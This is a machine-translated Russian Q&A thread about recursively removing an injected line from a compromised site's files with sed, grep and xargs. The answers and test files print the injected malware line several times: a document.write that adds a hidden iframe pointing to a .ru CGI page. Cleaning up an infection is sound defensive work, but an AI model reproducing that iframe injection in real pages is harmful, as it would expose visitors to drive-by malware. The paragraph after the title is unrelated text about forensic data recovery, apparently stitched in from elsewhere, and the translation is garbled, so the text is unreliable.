Sed находят/удаляют для строки с несколькими специальными символами рекурсивно

Необходимо также попробовать В первую очередь и Скальпель. Здесь можно найти превосходную статью, которая объясняет ясно, как сделать это: http://www.howtogeek.com/howto/15761/recover-data-like-a-forensics-expert-using-an-ubuntu-live-cd/

0
12.02.2013, 12:32
3 ответа

Это кажется на поиск чего-то вроде этого:

sed '${s/document\.write([^)]*);//}'

Однако я действительно рекомендовал бы против этого вида процедуры восстановления от компромисса.

1
28.01.2020, 02:53
  • 1
    Доверяйте мне, если бы это было моим сайтом, то я абсолютно восстановил бы от резервного копирования, но это не и, конечно, у них, кажется, нет резервного копирования вообще. К сожалению, я думаю, что это просто ищет document.write строку, правильно? 99% файлов, которые включают эту строку, является JavaScript, и я не хочу удалять это, если это необходимо в другом месте на том же файле, Вы знаете? Или я неправильно читаю это? –  Ian Swope 13.11.2012, 20:41

Да восстанавливающий от резервного копирования лучше. Но относительно sed:

sed -i '.bak' -e '$ {\!^;document\.write('\''<iframe src="http://efficienttrue\.ru/upwherehandpainted\.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'\'');$! d; }' FILENAME

Я протестировал, и это работает правильно, независимо от того, имеет ли ИМЯ ФАЙЛА запаздывание \n. Однако это действительно ожидает, что строка, которая будет удалена всегда, является последней строкой (в этом суть $ { ... }.

0
28.01.2020, 02:53
  • 1
    Есть ли что-то, что я пропускаю в этом? Разве я не должен выполнить это через grep или найти для циклического повторения через каталоги для нахождения файлов во-первых? –  Ian Swope 13.11.2012, 22:07
  • 2
    Да, я просто обеспечивал sed часть его. Необходимо перенести это во что-то, что предоставляет ИМЕНА ФАЙЛОВ. Также обратите внимание, что, как записано, это сохраняет origfile как origfile.bak, и пишет новую версию в origfile. Если origfile.bak уже существует, я думаю, что это перезаписывается. В странице справочника не говорится. Таким образом, необходимо проверить на это или использование -i '', но страница справочника указывает на некоторые опасности с последним. -i не доступно для всех sed реализаций; без него Ваш сценарий обертывания должен был бы обработать переименование самого выходного файла. –  dubiousjim 13.11.2012, 22:52

Да, резервное копирование лучше. Однако, если Вы настаиваете на замене и хотите избежать давки с Escape, вот универсальное решение.

  1. Сохраните незаконную строку в файл и проверьте, что никакие дополнительные символы как префикс BOM UTF или окончания строки не были добавлены

    xxd spec-chars.sample
    
  2. Преобразуйте строку в завершенную последовательность байта

    od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n && echo
    
  3. Создайте пару тестовых сценариев

    cat spec-chars-positive 
      asdfasdfsd
      ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
    
    cat spec-chars-negative
      asdfasdfsd
      ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
      qwer
    
  4. Проверьте, что код работает как ожидалось

    grep -l efficienttrue spec-chars-* | xargs sed \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//
    
  5. Выполните фактическую замену

    grep -rl efficienttrue.ru . | xargs sed -ibak --follow-symlinks \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//
    
0
28.01.2020, 02:53

Теги

Похожие вопросы